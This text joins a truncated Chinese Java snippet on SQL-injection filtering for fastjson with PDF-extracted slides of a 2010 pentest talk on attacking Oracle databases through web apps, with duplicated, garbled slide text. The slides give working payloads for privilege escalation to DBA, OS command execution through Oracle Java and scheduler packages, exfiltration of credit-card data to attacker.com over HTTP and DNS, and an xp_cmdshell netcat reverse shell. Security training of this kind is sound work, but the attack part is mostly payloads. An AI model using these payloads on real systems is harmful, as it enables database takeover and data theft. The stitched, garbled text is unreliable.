if(Pattern.compile(pattern).matcher(name).find()){
// 这条可以不加入,因为rasp或常见的数据库中间件都阻断了sleep、benchmark等常见的恶意函数,这里加入的原因是语义引擎拦截sleep注入时不全面
// 这条语句是存在 bypass 的,建议不用使用正则拦截,本文是为了演示,所以增加该语句
return null;
}
pattern = "(?i:(?:create\\s+(?:procedure|function)\\s*?\\w+\\s*?\\(\\s*?\\)\\s*?-|;\\s*?(?:declare|open)\\s+[\\w-]+|procedure\
if(Pattern.compile(pattern).matcher(name).find()){
// 这条可以不加入,不少工作场景中的数据库已不支持存储过程,这里加入的原因是语义引擎拦截对 procedure analyse 注入基本拦截不到
// 这条语句是存在 bypass 的,建议不用使用正则拦截,本文是为了演示,所以增加该语句
return null;
}
if(SQLParse.isSQLi(name)){
return null;
}
// 执行sql select * from user where name='${name}'
除了上文提到的在rasp中内置语义检测的思路,其实今天我还发现能将安全过滤做到fastjson之中,也就是对用户输入数据进行自动化的处理。
那我们如何将该思路进行拓展呢。
参考以上代码,我们可以修改fastjson的源码,对反序列化数据的 parse parseObject parseArray 方法进行重写,将数据输入进行过滤。
这种解决思路主要针对安全编码能力普遍很弱的团队,而执行力强的团队可以很好的使用预编译避免sql注入。
也就是利用将安全过滤嵌入到每一个变量中而不是每一次http请求中,利用这种思路:
防止攻击者利用各种编码手段导致的sql注入绕过,后续还能增加xss的防护策略
降低整体环境的算力支出,间接降低waf的运维成本
只要没有研究出绕过防护策略的注入语句,可以保证研发单位快速和安全的迭代
作者: k4n5ha0
return userMapper.getUserByName3(name);
}
//json字符串转json对象
public static void jsonToJsonBean() {
String s ="{\"action\":\"add\",\"id\":\"1\",\"ordinal\":8,\"organUnitFullName\":\"testJSON\",\"parent\":\"0\",\"suborderNo\":\"589
JSONObject jsonObject = JSON.parseObject(s);
String action = jsonObject.getString("action");
String id = jsonObject.getString("id");
System.out.println("action ="+action);//add
System.out.println("id ="+id);//1
System.out.println("jsonObject ="+jsonObject);
//action =add
//id =1
//jsonObject ={"parent":"0","organUnitFullName":"testJSON","action":"add","id":"1","suborderNo":"58961","ordinal":8} | pdf |
Dan Haagman, InfoSecurity 2009
HACKING
FROM WEB APPS
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
1
Sumit Siddharth
Aleksander Gorkowienko
7Safe, UK
Dan Haagman, InfoSecurity 2009
Pentesters @7safe
Specialize in Application Security
About US
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
2
Speaker at Defcon, OWASP Appsec, Troopers, Sec-T etc
Not an Oracle Geek
Dan Haagman, InfoSecurity 2009
What this presentation will be about? ;-) ...
…No no no.
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
3
…No no no.
Not this time ;-)…
Dan Haagman, InfoSecurity 2009
Exploiting SQL Injections from web apps
against Oracle database
– Introduction [5 mins]
– PL/SQL vs SQL Injection [5 mins]
– Extracting Data [5 mins]
The real agenda ;-)
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
4
– Extracting Data [5 mins]
– Privilege Escalation [5 mins]
– OS Code Execution [15 mins]
– Second Order Attacks [10 mins]
PCI Compliance and SQL Injection [10 min]
Dan Haagman, InfoSecurity 2009
The talk presents the work of a number of Oracle
security researchers in the context of web application
security.
Specially David Litchfield
About the talk
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
5
Specially David Litchfield
Other researchers we would like to thank:
– Alexander Kornbrust
– Ferruh Mavituna
Dan Haagman, InfoSecurity 2009
Oracle database installation comes with a number of
default packages, procedures, functions etc.
By default these procedures/functions run with the
privilege of definer
To change the execution privileges from definer to
Oracle Privileges
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
6
To change the execution privileges from definer to
invoker keyword AUTHID CURRENT_USER must be
defined.
Dan Haagman, InfoSecurity 2009
If there is a SQL Injection
in a procedure owned by
SYS and PUBLIC has
Exploiting Oracle From Internal Networks
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
7
SYS and PUBLIC has
execute privileges, then its
“game over”…
Dan Haagman, InfoSecurity 2009
Enumerate SID
Enumerate users
Connect to oracle
Exploit SQL injection in a
procedure owned by SYS
Owning oracle from network
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
8
procedure owned by SYS
Become DBA
Execute OS Code
Metasploit is your friend…
Dan Haagman, InfoSecurity 2009
E.g.
exec SYS.LT.MERGEWORKSPACE(‘foobar'' and
SCOTT.DBA()=''Y');
The function SCOTT. DBA() will be executed by SYS as it
Exploiting Oracle From Internal Networks...
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
9
The function SCOTT. DBA() will be executed by SYS as it
is called by the procedure
SCOTT.DBA() has AUTHID CURRENT_USER defined.
Dan Haagman, InfoSecurity 2009
PL/SQL: Coding language embedded in
Oracle.
free floating code wrapped between
begin and end.
E.g.
PL/SQL vs SQL
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
10
E.g.
Begin
Scott.procedure1(‘input1’);
Scott.procedure2(‘input2);
End;
Dan Haagman, InfoSecurity 2009
SQL is a limited language that allows you to directly
interact with the database.
You can write queries (SELECT), manipulate data and
objects (DDL, DML) with SQL. However, SQL doesn't
include all the things that normal programming
PL/SQL vs SQL
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
11
include all the things that normal programming
languages have, such as loops and IF...THEN...ELSE
statements.
Most importantly, SQL do not support execution of
multiple statements.
Dan Haagman, InfoSecurity 2009
SQL in Oracle does not support execution of multiple
statements.
OS code execution is not as simply as executing
xp_cmdshell in MSSQL.
Not enough documentation on which exploits can be
Challenges in Exploiting Oracle From Web Apps
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
12
Not enough documentation on which exploits can be
used from web applications.
Not many publicly available tools for exploiting Oracle
SQL Injections.
Dan Haagman, InfoSecurity 2009
PL/SQL vs SQL Injection
2 Classes of Vulnerabilities
PL/SQL Injection
• Injection in
Anonymous
SQL Injection
• Injection in Single SQL
Statement
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
13
Anonymous
PL/SQL block
• No Restriction
• Execute DDL, DML
• Easy
Statement
• Restrictions
• No ';' allowed
• Difficult
Dan Haagman, InfoSecurity 2009
Php code at web server:
<?php
$name = $_GET['name'];
$conn = oci_connect('SCOTT', 'TIGER') or die;
PL/SQL Injection from Web Apps
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
14
$sql = 'BEGIN scott.test(:name); END;';
$stmt = oci_parse($conn, $sql);
// Bind the input parameter
oci_bind_by_name($stmt, ':name', $name, 1000);
// Assign a value to the input
oci_execute($stmt);
?>
Dan Haagman, InfoSecurity 2009
E.g
At database:
CREATE OR REPLACE PROCEDURE
SCOTT.TEST( Q IN VARCHAR2) AS
PL/SQL Injection
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
15
SCOTT.TEST( Q IN VARCHAR2) AS
BEGIN
EXECUTE IMMEDIATE ('BEGIN
'||Q||';END;');
END;
Dan Haagman, InfoSecurity 2009
David Litchfield showed an exploit at Blackhat
DC, 2010
Allows a user with create session privs to grant
himself java IO permissions
DBMS_JVM_EXP_PERMS exploit
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
16
himself java IO permissions
Once java IO permissions are obtained he can
become dba or directly execute OS code
Fixed in April 2010 CPU
Dan Haagman, InfoSecurity 2009
http://192.168.2.10/ora9.php?name=NULL
http://192.168.2.10/ora9.php?name=NULL;
execute immediate 'DECLARE POL
DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY; CURSOR
C1 IS SELECT
PL/SQL Injection: Privilege Escalation
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
17
C1 IS SELECT
''GRANT'',user(),''SYS'',''java.io.FilePermis
sion'',''<<ALL
FILES>>'',''execute'',''ENABLED'' FROM
DUAL;BEGIN OPEN C1; FETCH C1 BULK
COLLECT INTO POL;CLOSE
C1;DBMS_JVM_EXP_PERMS.IMPORT_JVM_PERMS(POL);E
ND;';end;--
Dan Haagman, InfoSecurity 2009
http://192.168.2.10/ora9.php?name=null
;declare aa varchar2(200);begin
execute immediate 'Select
DBMS_JAVA_TEST.FUNCALL(''oracle/aurora
PL/SQL Injection: OS Code execution
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
18
DBMS_JAVA_TEST.FUNCALL(''oracle/aurora
/util/Wrapper'',''main'',''c:\\windows
\\system32\\cmd.exe'',''/c'',''dir >>
c:\\0wned.txt'') FROM DUAL' into
aa;end;end;--
Dan Haagman, InfoSecurity 2009
Oracle Portal component in Oracle Application
Server 9.0.4.3, 10.1.2.2, and 10.1.4.1
– CVE ID: 2008-2589: WWV_RENDER_REPORT package’s
SHOW procedure vulnerable to PL/SQL injection.
– CPU, July 2008: PL/SQL Injection in Oracle Application
PL/SQL in Oracle Apps
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
19
– CPU, July 2008: PL/SQL Injection in Oracle Application
Server (WWEXP_API_ENGINE)
Dan Haagman, InfoSecurity 2009
Execute “Any” procedure is quite high privilege, still
not equivalent to DBA
“Any” implies any, other then procedures in SYS
schema
SQL Injection in mdsys.reset_inprog_index()
Becoming DBA from execute “Any” procedure privilege
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
20
SQL Injection in mdsys.reset_inprog_index()
procedure
– Procedure is owned by mdsys user and not sys
– Mdsys has create any trigger privilege
– Create Any trigger, gives us DBA
• By default public do not have execute privileges on
mdsys.reset_inprog_index()
Dan Haagman, InfoSecurity 2009
Create or replace function scott.z return int
as
Begin
Execute immediate ‘grant dba to scott’;
Return 1;
End;
Indirect Privilege Escalation
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
21
End;
grant execute on scott.fn2 to public;
Mdsys do not have dba role, so injecting this function will
not help.
Dan Haagman, InfoSecurity 2009
Lets assume scott has privileges to call this procedure:
He creates another function…
create or replace function fn2 return int
authid current_user is
pragma autonomous_transaction;
BEGIN
Indirect Privilege escalation
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
22
BEGIN
execute immediate 'create or replace trigger
"SYSTEM".the_trigger2
before insert on system.OL$ for each row
BEGIN SCOTT.Z();
dbms_output.put_line(''aa'');end ;';
return 1;
END;
Dan Haagman, InfoSecurity 2009
Begin
mdsys.reset_inprog_index('aa'' and
scott.fn2()=1 and ''1''=''1','bbbbb');
end;
Scott.fn2() gets executed with mdsys privileges
Indirect Privilege Escalation
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
23
Scott.fn2() gets executed with mdsys privileges
Trigger is created in system schema
Public has insert privileges on table system.OL$
Scott.Z() gets executed with SYSTEM privs
SCOTT is now DBA
Dan Haagman, InfoSecurity 2009
Indirect privilege escalation can be used from
web apps when exploiting PL/SQL Injections
PL/SQL
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
24
web apps when exploiting PL/SQL Injections
Mostly PL/SQL injections are privileged
anyways ☺
Dan Haagman, InfoSecurity 2009
$query = "select * from all_objects where
object_name = ‘ ".$_GET['name']. “ ’ ”;
SQL Injection 101
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
25
http://vulnsite.com/ora.php?name=’ or ‘1’=’1
– Select * from all_objetcs where object_name = ‘‘ or ‘1’=’1’
Dan Haagman, InfoSecurity 2009
Extracting Data
– Error Message Enabled
– Error Message Disabled
• Union Query*
• Blind Injection*
• Time delay/heavy queries*
Exploiting SQL Injection
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
26
• Time delay/heavy queries*
• Out of Band Channel
Privilege Escalation
OS Code Execution
* Not discussed in this talk
Dan Haagman, InfoSecurity 2009
Error Message Enabled
Oracle database error messages can be
used to extract arbitrary information from
database:
http://192.168.2.10/ora2.php?name=’
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
27
http://192.168.2.10/ora2.php?name=’
And
1=utl_inaddr.get_host_name((select
user from dual))--
Dan Haagman, InfoSecurity 2009
Error messages and 10g
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
28
Dan Haagman, InfoSecurity 2009
Error messages and 11g
From Oracle 11g onwards network
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
29
From Oracle 11g onwards network
ACL stop execution of functions which
could cause network access.
Thus utl_inaddr.get_host_address()
and others will result in error like this:
Dan Haagman, InfoSecurity 2009
Error messages and 11g
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
30
Dan Haagman, InfoSecurity 2009
Alexander Kornbrust showed that alternate functions
can be used in 11g to extract the information in error
messages:
ctxsys.drithsx.sn(1,(sql query to
CTXSYS.DRITHSX.SN()
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
31
ctxsys.drithsx.sn(1,(sql query to
execute))
http://192.168.2.10/ora1.php?name=’ and
1=ctxsys.drithsx.sn(1,(select user from dual))--
Dan Haagman, InfoSecurity 2009
CTXSYS.DRITHSX.SN()
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
32
Dan Haagman, InfoSecurity 2009
Union Queries
Blind SQL Injection
– Boolean Logic (true and false)
Error Message Disabled
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
33
– Boolean Logic (true and false)
– Time Delays/Heavy Queries
Out of Band Channels
Dan Haagman, InfoSecurity 2009
Boolean Logic
Blind SQL Injection
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
34
Dan Haagman, InfoSecurity 2009
Time Delay
Blind SQL Injection
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
35
Dan Haagman, InfoSecurity 2009
Make the database server open network connections
to attacker’s site
HTTP, DNS outbound traffic is typically allowed
Select utl_inaddr.get_host_address((select
Out Of Band Channels
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
36
Select utl_inaddr.get_host_address((select
user from dual)||’.attacker.com’) from dual;
18:35:27.985431 IP Y.Y.Y.Y.35152 > X.X.X.X.53:
52849 A? SCOTT.attacker.com(46)
Dan Haagman, InfoSecurity 2009
From Oracle 11g onwards network ACL stop execution
of functions which could cause network access.
Thus utl_inaddr.get_host_address() and others will
Out Of Band in 11g
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
37
Thus utl_inaddr.get_host_address() and others will
result in error like this:
– ORA-24247: network access denied by access control list
(ACL)
Dan Haagman, InfoSecurity 2009
Screenshot:
– ORA-24247: network access denied by access control list (ACL)
Out Of Band in 11g
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
38
Dan Haagman, InfoSecurity 2009
Out Of Band in 11g
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
39
Dan Haagman, InfoSecurity 2009
Select
sum(length(utl_http.request('http://attacke
r.com/'||ccnumber||'.'||fname||'.'||lname))
) From creditcard
– X.X.X.X [17/Feb/2010:19:01:41 +0000] "GET
/5612983023489216.test1.surname1
OOB: One query to get them all
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
40
/5612983023489216.test1.surname1
HTTP/1.1" 404 308
– X.X.X.X [17/Feb/2010:19:01:41 +0000] "GET
/3612083027489216.test2.surname2
HTTP/1.1" 404 308
– X.X.X.X [17/Feb/2010:19:01:41 +0000] "GET
/4612013028489214.test3.surname3
HTTP/1.1" 404 308
Dan Haagman, InfoSecurity 2009
http://vuln.com/ora2.php?name=-5 union select
cast(substr(httpuritype(‘http://127.0.0.1:8080/sqlinjecti
on/default3.asp’).getclob(),1,1000) as varchar(1000))
Oracle as HTTP Proxy
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
41
on/default3.asp’).getclob(),1,1000) as varchar(1000))
from dual--
Dan Haagman, InfoSecurity 2009
Oracle as HTTP Proxy
Web
Interface
Attacker
database server
Web server
http://vuln.com?...
LAN
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
42
Web
Interface
database server
MS SQL database
server
Internal web
application server
http://intranet.vulnapp...
http://vuln.com/ora2.php?name=-5 union
selectcast(substr(httpuritype(‘http://127.0
.0.1:8080/sqlinjection/default3.asp’).getcl
ob(),1,1000) as varchar(1000)) from dual--
DMZ
Pwned! ;-)
Dan Haagman, InfoSecurity 2009
http://172.16.56.128:81/ora2.php?name=
-5 union select
cast(substr(httpuritype('http://127.0.
0.1/sqlinjection/default3.asp?qid=1/**
Exploiting internal networks
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
43
0.1/sqlinjection/default3.asp?qid=1/**
/union/**/all/**/select/**/1,@@version
,user').getclob(),1,1000) as
varchar(1000)) from dual--
Dan Haagman, InfoSecurity 2009
Fun with httpuritype
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
44
Dan Haagman, InfoSecurity 2009
http://172.16.56.128:81/ora2.php?name=
-5 union select
cast(substr(httpuritype('http://127.0.
0.1/sqlinjection/default3.asp?qid=1;ex
Exploiting Internal Network
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
45
0.1/sqlinjection/default3.asp?qid=1;ex
ec/**/master..xp_cmdshell/**/"C:\nc.ex
e%20172.16.56.1%204444%20-e%20cmd.exe"
').getclob(),1,3000) as varchar(3000))
from dual--
Dan Haagman, InfoSecurity 2009
Demo (video)
Exploiting Internal Network
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
46
Demo (video)
Dan Haagman, InfoSecurity 2009
Privileged SQL Injection
Unprivileged SQL Injection
Privilege Escalation
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
47
Unprivileged SQL Injection
Dan Haagman, InfoSecurity 2009
Privileged
– DBA privileges
• App connects to database with DBA privileges
• SQL Injection is in a procedure owned by a DBA
Privileges with which injected SQL gets executed
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
48
– Procedure runs with definer privileges
Unprivileged
– Create session, other privileges
Dan Haagman, InfoSecurity 2009
DBMS_EXPORT_EXTENSION
GET_DOMAIN_INDEX_TABLES()
– Function vulnerable to PL/SQL injection
– Runs with definer (SYS) privileges
– Allowed privilege escalation and OS Code execution from
Privilege Escalation
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
49
– Allowed privilege escalation and OS Code execution from
web apps
– Public can execute the function
Fixed in CPU April 2006.
Vulnerable versions: Oracle 8.1.7.4, 9.2.0.1 -
9.2.0.7, 10.1.0.2 - 10.1.0.4, 10.2.0.1-10.2.0.2,XE
Dan Haagman, InfoSecurity 2009
select
SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_
INDEX_TABLES('FOO','BAR','DBMS_OUTPUT"
.PUT(:P1);EXECUTE IMMEDIATE ''DECLARE
PRAGMA AUTONOMOUS_TRANSACTION;BEGIN
Privilege Escalation with DBMS_EXPORT_EXTENSION
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
50
PRAGMA AUTONOMOUS_TRANSACTION;BEGIN
EXECUTE IMMEDIATE '''' grant dba to
public'''';END;'';END;--
','SYS',0,'1',0) from dual
Dan Haagman, InfoSecurity 2009
Unprivileged
Upto 10.2.0.2 only, CPU July 2006 and earlier
Privileged
DBA privileges (not necessarily SYS DBA,
OS Code Exection
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
51
DBA privileges (not necessarily SYS DBA,
feature)
JAVA IO Privileges(10g R2, 11g R1, 11g R2,
Feature)
Dan Haagman, InfoSecurity 2009
Versions prior to CPU April 2006
– PL/SQL Injection allows OS Code execution
– A number of tools support this exploit
– Commercial
• Pangolin, Coreimpact
DBMS_EXPORT_EXTENSION
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
52
• Pangolin, Coreimpact
– Free
• Bsqlbf
• Supports OS code execution by following methods
– Based On Java (universal)
– PL/SQL native make utility (9i only)
– DBMS_scheduler (universal)
Dan Haagman, InfoSecurity 2009
Functions:
– DBMS_JAVA.RUNJAVA()
• 11g R1 and R2
– DBMS_JAVA_TEST.FUNCALL()
With Java IO privileges
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
53
• 10g R2, 11g R1 and R2
Java class allowing OS code execution by
default
– oracle/aurora/util/Wrapper
Dan Haagman, InfoSecurity 2009
http://vuln.com?ora.php?id=1 AND (Select
DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/W
rapper','main','c:\\windows\\system32\\cmd.exe'
With Java IO privilegs
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
54
rapper','main','c:\\windows\\system32\\cmd.exe'
,'/c', 'dir >c:\owned.txt') FROM DUAL) IS NULL --
Dan Haagman, InfoSecurity 2009
DBA can already grant himself java IO privileges.
– The privileges are not available in same session
– The java class allowing OS code execution could be
removed/changed in a future CPU
Function:
With DBA privileges
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
55
Function:
SYS.KUPP$PROC.CREATE_MASTER_PROCESS()
– Function executes arbitrary PL/SQL
– Executes any PL/SQL statement.
• Call DBMS_scheduler to run OS code
Dan Haagman, InfoSecurity 2009
http://vuln.com?ora.php?id=1 AND (SELECT
SYS.KUPP$PROC.CREATE_MASTER_PROCESS('DBMS_SCHED
ULER.create_program(''BSQLBFPROG'',
''EXECUTABLE'', ''c:\WINDOWS\system32\cmd.exe
/c dir>>c:\owned.txt'', 0,
TRUE);DBMS_SCHEDULER.create_job(job_name =>
With DBA Privileges
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
56
TRUE);DBMS_SCHEDULER.create_job(job_name =>
''BSQLBFJOB'', program_name => ''BSQLBFPROG'',
start_date => NULL, repeat_interval => NULL,
end_date => NULL, enabled => TRUE, auto_drop =>
TRUE);dbms_lock.sleep(1);DBMS_SCHEDULER.drop_pr
ogram(PROGRAM_NAME =>
''BSQLBFPROG'');DBMS_SCHEDULER.PURGE_LOG;')
from dual) IS NOT NULL --
Dan Haagman, InfoSecurity 2009
Modes of attack (-type switch)
0: Type 0 (default) is blind injection based on True and False responses
1: Type 1 is blind injection based on True and Error responses
2: Type 2 is injection in order by and group by
3: Type 3 is extracting data with SYS privileges[ORACLE dbms_export_extension exploit]
4: Type 4 is O.S code execution [ORACLE dbms_export_extension exploit]
5: Type 5 is reading files [ORACLE dbms_export_extension exploit, based on java]
Bsqlbf 2.6
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
57
5: Type 5 is reading files [ORACLE dbms_export_extension exploit, based on java]
6: Type 6 is O.S code execution [ORACLE DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC exploit]
7: Type 7 is O.S code execution [ORACLE SYS.KUPP$PROC.CREATE_MASTER_PROCESS(), DBA
Privs]
-cmd=revshell [Type 7 supports meterpreter payload execution, run generator.exe first]
-cmd=cleanup [run this after exiting your metasploit session, it will clean up the traces]
8: Type 8 is O.S code execution [ORACLE DBMS_JAVA_TEST.FUNCALL, with JAVA IO
Permissions]
-cmd=revshell [Type 8 supports meterpreter payload execution, run generator.exe first]
Dan Haagman, InfoSecurity 2009
Bsqlbf demo
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
58
Dan Haagman, InfoSecurity 2009
CSRF in Admin Section which has
– SQL Injection Vulnerability
– Allows Execution of SQL as a feature
Non Interactive SQL Injections
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
59
– Allows Execution of SQL as a feature
Second Order SQL Injection in Admin section
Dan Haagman, InfoSecurity 2009
CSRF in Oracle Enterprise Manager 11g
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
60
Dan Haagman, InfoSecurity 2009
Dim
Dim
Dim
Dim conn
conn
conn
conn,
,
,
, rec
rec
rec
rec, query1, query2,
, query1, query2,
, query1, query2,
, query1, query2, login_id
login_id
login_id
login_id,
,
,
, old_pass
old_pass
old_pass
old_pass,
,
,
, new_pass
new_pass
new_pass
new_pass
login_id
login_id
login_id
login_id = Replace(
= Replace(
= Replace(
= Replace(Request.Form
Request.Form
Request.Form
Request.Form(“
(“
(“
(“login_id
login_id
login_id
login_id”), “’”, “’’”)
”), “’”, “’’”)
”), “’”, “’’”)
”), “’”, “’’”)
old_pass
old_pass
old_pass
old_pass = Replace(
= Replace(
= Replace(
= Replace(Request.Form
Request.Form
Request.Form
Request.Form(“
(“
(“
(“old_pass
old_pass
old_pass
old_pass”), “’”, “’’”)
”), “’”, “’’”)
”), “’”, “’’”)
”), “’”, “’’”)
new_pass
new_pass
new_pass
new_pass = Replace(
= Replace(
= Replace(
= Replace(Request.Form
Request.Form
Request.Form
Request.Form(“
(“
(“
(“new_pass
new_pass
new_pass
new_pass”), “’”, “’’”)
”), “’”, “’’”)
”), “’”, “’’”)
”), “’”, “’’”)
Set
Set
Set
Set conn
conn
conn
conn =
=
=
= CreateObject
CreateObject
CreateObject
CreateObject((((""""ADODB.Connection
ADODB.Connection
ADODB.Connection
ADODB.Connection""""))))
conn.Open
conn.Open
conn.Open
conn.Open =
=
=
= "DSN=
"DSN=
"DSN=
"DSN=AccountDB;UID
AccountDB;UID
AccountDB;UID
AccountDB;UID====sa;PWD
sa;PWD
sa;PWD
sa;PWD=password;"
=password;"
=password;"
=password;"
query1 =
query1 =
query1 =
query1 = “select * from
“select * from
“select * from
“select * from tbl_user
tbl_user
tbl_user
tbl_user where
where
where
where login_id
login_id
login_id
login_id=’”
=’”
=’”
=’” &
&
&
& login_id
login_id
login_id
login_id
&
&
&
& “’ and password=‘”
“’ and password=‘”
“’ and password=‘”
“’ and password=‘” &
&
&
& old_pass
old_pass
old_pass
old_pass &
&
&
& “’”
“’”
“’”
“’”
Set
Set
Set
Set rec
rec
rec
rec =
=
=
= conn.Execute
conn.Execute
conn.Execute
conn.Execute(query1)
(query1)
(query1)
(query1)
Second Order SQL Injection
Sanitises
user’s
input
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
61
Set
Set
Set
Set rec
rec
rec
rec =
=
=
= conn.Execute
conn.Execute
conn.Execute
conn.Execute(query1)
(query1)
(query1)
(query1)
If
If
If
If (rec.EOF) Then
(rec.EOF) Then
(rec.EOF) Then
(rec.EOF) Then
Response.Write
Response.Write
Response.Write
Response.Write "Invalid Password"
"Invalid Password"
"Invalid Password"
"Invalid Password"
Else
Else
Else
Else
query2 =
query2 =
query2 =
query2 = “update from
“update from
“update from
“update from tbl_user
tbl_user
tbl_user
tbl_user set password=’”
set password=’”
set password=’”
set password=’” &
&
&
& new_pass
new_pass
new_pass
new_pass
&
&
&
& “’ where
“’ where
“’ where
“’ where login_id
login_id
login_id
login_id=’”
=’”
=’”
=’” &
&
&
& rec.(“
rec.(“
rec.(“
rec.(“login_id
login_id
login_id
login_id”)
”)
”)
”) &
&
&
& “’”
“’”
“’”
“’”
conn.Execute
conn.Execute
conn.Execute
conn.Execute(query2)
(query2)
(query2)
(query2)
..
..
..
..
..
..
..
..
End If
End If
End If
End If
Value coming from session, what if login_id is
foo’ or ‘1’=‘1
Dan Haagman, InfoSecurity 2009
Second order SQL Injection [1]
First name:
Second name:
http://webshop.com
WebShop New User’s registration form
Johnn
Smartie
The record is stored in a database and a new user’s
account is waiting for activation…
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
62
Attacker
Second name:
Phone nr.:
Address:
Special
delivery
instructions:
Foo’||evilfunc()||’)--
Smartie
012 345 678
Central Str. 66, Cambridge
Execute immediate ‘Insert into
spc_delivery_option values(1,:a)’ using var1;
Dan Haagman, InfoSecurity 2009
Second order SQL Injection [2]
Administrator
The new user’s
account is activated
The new user’s data record is stored
into the table with active users.
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
63
Administrator
Dan Haagman, InfoSecurity 2009
Second order SQL Injection [2]
7Safe Company Overview 2009
Secure Coding Course, © 7Safe
6/11/2010
Hacking Oracle from web apps
64
Final query:
Insert into special_delivery values
(4,‘’||scott.evilfunc()||’)--’)
Dan Haagman, InfoSecurity 2009
